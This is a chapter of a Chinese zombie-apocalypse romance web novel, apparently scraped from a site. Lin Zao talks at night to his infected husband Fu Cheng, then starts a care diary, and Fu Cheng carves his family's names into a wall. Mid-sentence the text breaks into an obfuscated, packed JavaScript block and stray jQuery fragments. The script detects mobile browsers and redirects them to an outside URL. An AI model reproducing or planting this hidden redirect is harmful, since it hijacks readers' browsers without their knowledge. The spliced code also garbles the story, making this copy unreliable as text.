9
——困死鬼投胎的混蛋！
——天天睡觉，只会睡觉！
——我们走，再也不来看他了！
凌晨十二点。
夜深人静，万籁俱寂。
林小饱撅着屁屁，趴在床上，睡得正香。
林早则平躺在旁边，两只手举过头顶，一双眼眨巴眨巴，静静地望着天花板。
嗯，他睡不着。
傍晚他给傅骋送饭，在杂物间外面说的那些话，一直在他耳边回响。
他说傅骋是死鬼，说傅骋真讨厌，还说再也不来看他。
现在想想，是有点过分了。
傅骋都受伤了，睡久一点也很正常，结果他还这么凶巴巴的。
其实……
他刚说完这些话，就有点后悔了。
他也不是故意的，他只是有点生气而已。
傅骋明明可以起床吃饭，却总是挑他和小饱不在的时候起来。
只要他们出现，傅骋就用后背对着他们。
就像是……故意躲着他们一样。
一整天了，他们再也没看到过他的正脸。
他知道，傅骋被丧尸抓伤，很可能在不久之后，也会变成丧尸。
可是，既然他已经决定了，要把傅骋留在家里，当然也会做好自己的准备啊。
他不会嫌弃傅骋，更不会讨厌他的。
傅骋却总是躲着他，一副要和他划清界限，保持距离的样子。
真是让人心寒。
林早吸了吸鼻子，收回手，翻了个身。
他伸长胳膊，搂住林小饱。
不管了，睡觉。
他说了不去看傅骋，就不去看。
大半夜的，有什么好看的？
就算去看，也只能看见后背。
林早打定主意，调整好睡姿，闭上眼睛，偏过脑袋，把脸埋进柔软的枕头里。
睡吧，明早再说。
他才不去看傅骋。
不去，不去，就不去！
就不……
下一秒，远处传来野兽一般的嚎叫。
距离尚远，声音不大，传到他们这里，只剩下隐隐约约的、像狗叫一样的声音。
但林早还是被这个声音吓到，“腾”地一下从床上坐起来了。
不……不行。
他还是要下去看看。
骋哥手臂上的伤口这么深，外面的丧尸又这么凶。
怎么可以真的不管他？
林早抬起手，捂了捂自己的心口，感觉到自己的小心脏正在里面怦怦直跳。
走吧，下去看看。
看看骋哥，就算只能看背影也好。
林早打定主意，掀开被子，下床穿好棉鞋和军大衣，从军大衣里掏出钥匙，轻轻推开卧室门，走了出去。
他拿着一大串钥匙，依次打开三楼防盗门、一楼防盗门、车库门，来到杂物间门外。
还好，杂物间里安安静静，一点儿声音都没有。
骋哥没跟其他丧尸一样，到了晚上，就嚎得特别起劲。
林早稍微放下心来，熟练地踩着长凳，爬上窗口，朝里面望去。
房间里很黑，只有一点点月光，透过换气扇的扇叶缝隙，照在地上。
不出意外，借着月光，林早再次看见了男人高大的背影。
傅骋依旧背对着门窗，躺在床上。
唯有背影，只有背影。
林早不再生气，只是叹了口气，把两只手放在窗台上，好像小学生上课一般，定定地看着他。
就这样看了几分钟。
林早抿了抿唇瓣，试探着唤了一声：“骋哥？”
傅骋身形微震，但还是强自忍耐着，不敢回头。
“我知道你没睡。”
林早了然。
“你一整天都没睡着，对不对？”
傅骋紧紧地咬着牙，强迫自己死死地盯着眼前墙壁，不要走神。
但林早显然不想就这样放过他。
他的声音依旧温柔，带着几分试探。
“你是不是不想让我和小饱，看见你的脸？”
“你是不是不会说话了，不想让我和小饱知道？”
“你是不是控制不住自己，害怕吓到我和小饱？”
傅骋喉头一哽，眼睛忽然充血发热。
原来小枣知道。
小枣是全家最聪明的人，他什么都知道。
“你不要这样嘛。”
“我看过丧尸片的，我知道啊，我知道人类变成丧尸以后，牙齿会变尖，眼睛也会变红，也会控制不住自己。”
“我都知道，我不害怕，一点都不害怕。”
“因为我还知道，你是我老公，是一直保护我的骋哥。”
“我在婚礼上发过誓的呀，不管生老病死，不管你变成什么样，都会爱你的。”
林早翘着脚，一只手托着腮帮子，不知道想到了什么，轻轻笑出声来。
“多亏了你当时赶时髦，办的是西式婚礼，不然我就没法发誓了。”
“可能你真的睡着了吧，可我就是觉得你没睡。”
“你回头也好，不回头也好，我就是半夜睡不着，想找你说说话。”
“我想很认真、很认真地告诉你——”
“我不会怕你的，真的。”
话说得差不多了，林早垂了垂眼睛，最后道：“骋哥，对不起。”
这话出口，房里房外都静了一瞬。
傅骋下意识握紧双拳，心脏似乎也被他自己攥紧了，一缩一缩地疼。
小枣为什么要向他道歉？
他又惹小枣难过了，是不是？
林早鼓了鼓腮帮子，小声说：“我下午不该那样骂你的，我只想跟你说话，一点都不体谅你，我真坏，对不起。”
没有！乱讲！
小枣很好，小枣一点也不坏！
小枣没有要说“对不起”的地方！
傅骋在心里、在脑子里，喊得震天动地。
可是现实里，他张了张嘴，喉结剧烈滚动，却发不出一点声音。
他的喉咙又僵又硬，就算发出声音，也只有野兽一般的喘气声。
傅骋死死咬着牙，与病毒对抗之间，有滚烫的液体从他眼泪滚滚落下。
说话！回答！
快跟小枣说话！
告诉小枣，你没有生气，你没有睡觉。
你也很爱他！
傅骋尚在艰苦抗争。
林早在窗外等了一会儿，见他始终没有要回头的意思，便也放弃了。
“好吧。”林早刻意让语气变得轻快一些，“那我上去睡觉啦，你也快点睡吧。反正……”
“反正我们还有很久很久，对不对？”
一阵轻响之后，林早转身离开。
傅骋彻底卸了力气，重重地倒在床上。
下一秒，傅骋翻下床铺，重新站起身来。
*
另一边。
林早把车库门和一楼防盗门锁好，揣着钥匙上了楼。
他知道，骋哥又要强又死犟。
二十多年来，不管遇到什么事情，骋哥从来没有认过输，更没有在他和小饱面前，流露出半点的脆弱和不堪。
现在变成这样，骋哥就更不会把自己的伤口，展露给他们看了。
林早已经不生气了。
相反的，他的心好疼好疼。
林早回到三楼卧室，拿起暖壶，给自己倒了杯热水。
他双手捧着陶瓷杯，坐在窗下桌前。
林小饱就在他身后的床上睡觉，怕吵醒他，林早就没开吊灯，只打开了桌上的小台灯，把亮度调到最低。
热水温度透过杯壁，印在他的手心。
热气氤氲，升到眼前，模糊了他的视线。
林早低下头，轻轻吹散水雾，抿了一口热水。
暖意在身体里散开，让他好受许多。
就在这时，林早忽然看见林小饱放在桌上的挂历本——
生菜成长日记。
昨天下午，他们用自来水，养了一大盆生菜，还有几个矿泉水瓶的生菜根。
林小饱不相信生菜自己会喝水，所以决定听从他的建议，做一本《生菜成长日记》。
每天仔细观察，每天都把生菜的样子画下来。
林小饱对待这件事情很认真，因为自己不会写字，是个三岁文盲小宝宝，还特意拿着黑色蜡笔，请爸爸给封面题字。
六个大字，林早用正楷写，四四方方，端端正正。
翻开第一页，就是林小饱用黄色蜡笔画的蔫吧生菜，还有光秃秃的生菜根。
林早看着林小饱稚嫩的儿童涂鸦，不由地会心一笑。
不能带小饱出去玩，让他坚持观察生菜，培养一下探索精神也好。
就在这时，林早忽然想到什么，唇角笑意一凝。
对！观察日记！
他也应该做一本观察日记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920622|177063||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
！
林早倏地回过神来，弯下腰，拉开桌子抽屉，从里面拿出一本全新的、没写过的教案本。
他拧开钢笔，翻开第一页，仔仔细细地回想，详实准确地写下日期与事件。
——3000年2月4日，除夕夜。人民广场，丧尸病毒爆发。
——3000年2月9日，正月初五。傅骋外出，寻找物资，当日平安归来。
——3000年2月14日，正月初十。傅骋外出，寻找物资。
中间的事情，林早没跟着他一起去，所以不知道。
林早空了几行，继续往下写。
——3000年2月19日，正月十五，元宵节。约凌晨十二点，傅骋归家。
——被丧尸抓伤，三道伤口，位于右臂外侧，伤口深约……
林早闭上眼睛，努力回想。
——伤口深约八厘米，一条长约二十厘米，另两条约十五厘米，骨头露出。
——3000年2月20日，为傅骋敷洒云南白药，有明显止血效果，另用绷带包扎伤口。
——今日饮食，午饭：大米粉，红烧肉，炒生菜。晚饭：……
——全部吃完，今日傅骋似仍保有自我意识，避不见人。
林早伏在桌前，一字一句，一笔一划，把自己能想起来的东西，全部都写上去。
截至目前，谁都不知道，丧尸病毒究竟是怎么样的。
所以，他给傅骋用了什么药、吃了什么饭，都要一一记录下来。
万一以后骋哥身体不适，他就可以从这里面找问题。
万一以后骋哥情况好转，他也可以从这里面找原因。
万一……万一以后，有厉害的医生、科学家经过这里，就可以根据这份记录，帮帮他们了。
就算以上事情都不会发生，他也能更加了解丧尸的生活习性，更好地保护照顾骋哥。
这就是骋哥的病历本。
这就是他的——
林早翻到教案本封面，拔出记号笔，在上面写下——
丧尸老公喂养日记。
八个大字，覆盖在原本的“小太阳幼儿园教案本”上。
林早长长地舒出一口气，抬起头，望向窗外，仿佛看见了一点点希望的曙光。
记完这个本子，骋哥就会好了。
不管怎么样，他都会认真记录的。
月光皎洁，普照大地——
透过窗帘缝隙，落在林早面前的纸上。
同样也透过扇叶缝隙，落在傅骋面前的墙上。
杂物间里，傅骋坐在墙角，拿着一颗螺丝，正往墙上刻字。
螺丝原本是用来固定货架的，傅骋搬货架的时候，把螺丝弄松了。
现在的傅骋关节僵硬，视线模糊，费了好大一番功夫，才把掉在地上的螺丝捡起来。
他坐在地上，左手平举，托着几颗螺丝，右手费力地捏着一颗螺丝，一道一道，艰难地刻下一个字——
早。
最后一竖落下，傅骋手一松，螺丝也掉在了地上。
他试探着伸出手，用冰冷僵硬的指尖，去触摸自己好不容易刻下来的字。
傅骋低下头，额头抵在墙面上。
小早，林早。
是他最最最爱的老婆。
不能忘记，永远不能忘记。
还有……还有小饱。
傅骋在心里默念了几遍“早”字，马上又拿起一颗螺丝，继续在旁边刻字。
饱……
“饱”字怎么写？
他忘了！他忽然忘了！
他怎么能忘了？
该死！早知道就不给儿子起这个名字了！
直接叫他“小一”、“一一”多好。
笔画简单又好记。
没办法，名字都起了，现在也不能改了。
傅骋咬着牙，用额头撞了两下墙壁，硬生生把“饱”字从自己的脑子里挖出来。
好了，这下也写好了。
小饱，林小饱。
是他最爱的儿子，也不能忘记。
傅骋再次坚定信念，一刻不停地默念着老婆儿子的名字，把他们的名字刻进心底。
窗外夜色依旧，丧尸吼叫不休。
林早坐在桌前，傅骋靠在墙角。
林早提笔，傅骋抬手。
林早写字，傅骋默念。
此时此刻，月光轮转，同时落在他们身上。
永不忘却，永不背叛。